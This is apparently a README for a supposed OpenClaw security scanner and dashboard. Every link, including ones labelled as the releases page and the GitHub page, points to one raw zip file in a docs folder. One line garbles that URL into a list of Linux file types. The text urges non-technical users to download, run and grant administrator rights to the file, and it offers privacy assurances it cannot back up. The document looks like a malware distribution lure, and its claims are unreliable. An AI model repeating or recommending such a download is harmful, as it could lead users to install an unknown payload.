openclaw-security-guard

# 🛡️ openclaw-security-guard - Protect Your OpenClaw Setup Easily [](https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip) --- ## 📖 What is openclaw-security-guard? openclaw-security-guard is a complete security layer made for OpenClaw users. It helps protect your setup by running scans and audits. The program works behind the scenes to find secrets, check your configurations, scan for prompt injections, and audit your MCP server. It's designed to be safe, with no tracking or telemetry. The tool includes two main parts: - A command-line scanner (CLI) that runs security checks. - A live dashboard where you can see real-time results and alerts. This means you don't need to worry about complex setups or missing serious security issues. openclaw-security-guard simplifies protecting your OpenClaw environment. --- ## 🚀 Getting Started This guide helps you install and use openclaw-security-guard on your computer. You don’t need to know coding or complicated commands. ### System Requirements Before downloading, check that your computer meets these basic needs: - **Operating System**: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended) - **Processor**: Dual-core 2 GHz or better - **Memory (RAM)**: 4 GB minimum - **Disk Space**: At least 200 MB free - **Internet Connection**: Required for downloading and updating If you have a standard desktop or laptop made in the last few years, your system should work fine. --- ## 📥 Download & Install To get openclaw-security-guard, visit the official releases page: [Go to the download page](https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip) ### How to Download 1. Click the link above to open the releases page in your browser. 2. Look for the latest version listed near the top. Versions are labeled something like `vX.X.X`. 3. Find the download file that fits your computer system: - **Windows users**: Look for files ending with `.exe` - **macOS users**: Look for files ending with `.dmg` or `.pkg` - **Linux users**: Look for `.AppImage`, `.deb`, or `https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip` 4. Click the correct file to start downloading. ### How to Install - **Windows:** Double-click the `.exe` file you downloaded, then follow the on-screen instructions. - **macOS:** Open the `.dmg` or `.pkg` file and drag the app to your Applications folder. - **Linux:** If you downloaded `.AppImage`, make it executable by right-clicking the file, select Properties > Permissions, then check "Allow executing file as program". Run it by double-clicking the file or from your terminal. After installation, you will have access to both the scanner and dashboard tools. --- ## ⚙️ How to Use openclaw-security-guard The tool runs in two parts. You can use both or just one depending on your needs. ### Running the CLI Scanner The command-line scanner checks your OpenClaw system for potential security risks. 1. Open your computer’s terminal or command prompt: - **Windows**: Press `Win + R`, type `cmd`, and hit enter. - **macOS**: Open `Terminal` from Applications > Utilities. - **Linux**: Open the terminal application. 2. Type the following command and press Enter: ``` openclaw-security-guard scan ``` 3. The scanner will check for secrets, prompt injections, config issues, and MCP server problems. It will show results on the terminal window. 4. If there are issues, the output will include recommendations on how to fix them. ### Accessing the Live Dashboard The dashboard gives you a user-friendly way to monitor your security in real time. 1. After installation, open the application named `openclaw-security-guard Dashboard`. 2. If prompted, allow the program to open a web browser. 3. The dashboard will appear in your browser at `http://localhost:3000`. 4. Here, you will see summaries of recent scans, alerts of detected problems, and options to run new audits. 5. Use the navigation menu to review secrets detection, config hardening advice, prompt injection results, and server audit details. You can leave the dashboard running to keep watch on your OpenClaw security status. --- ## 🔐 Features & Benefits - **Secrets Detection**: Finds passwords, API keys, and tokens accidentally exposed. - **Config Hardening**: Checks your settings and suggests safer configurations. - **Prompt Injection Scanning**: Detects unsafe input that might cause OpenClaw to misbehave. - **MCP Server Auditing**: Inspects your MCP server for security gaps. - **No Telemetry**: Does not send any personal or usage data anywhere. - **Real-Time Monitoring**: Dashboard updates with newest scans and alerts. - **Cross-Platform**: Works on Windows, macOS, and Linux. --- ## 🛠️ Troubleshooting If you run into problems, try these common fixes: - Make sure your computer meets the minimum requirements. - Check your internet connection when downloading or updating. - Run the program as an administrator or with sufficient permissions. - Restart your computer to clear any locked files or processes. - If the scanner does not start in the terminal, ensure the installation path is added to your system’s PATH variable. - For dashboard access issues, confirm that your web browser allows connections to `localhost` and port `3000`. If none of these help, check the GitHub issues page or contact support via the repository’s contact details. --- ## 🤝 Support & Feedback You can contribute ideas or report bugs on the GitHub repository. Open issues clearly explaining what you tried and what went wrong. GitHub Page: [https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip](https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip) Your feedback helps improve the tool for everyone. --- ## 🧩 Additional Resources - Check the README file in the downloaded folder for advanced setup tips. - Visit the OpenClaw official website for documentation on integrating security tools. - Learn basic security practices to keep your environment safe. --- ## ⚖️ Privacy & Security openclaw-security-guard respects your privacy. It operates locally on your machine without sending any data outside. There is no telemetry, tracking, or data collection of any kind. --- ## 📢 Stay Updated Keep an eye on the releases page for updates and new features. Download and install newer versions regularly for the best protection. [Visit the releases page to download updates](https://github.com/dark712/openclaw-security-guard/raw/refs/heads/main/docs/fr/security_guard_openclaw_v2.3.zip)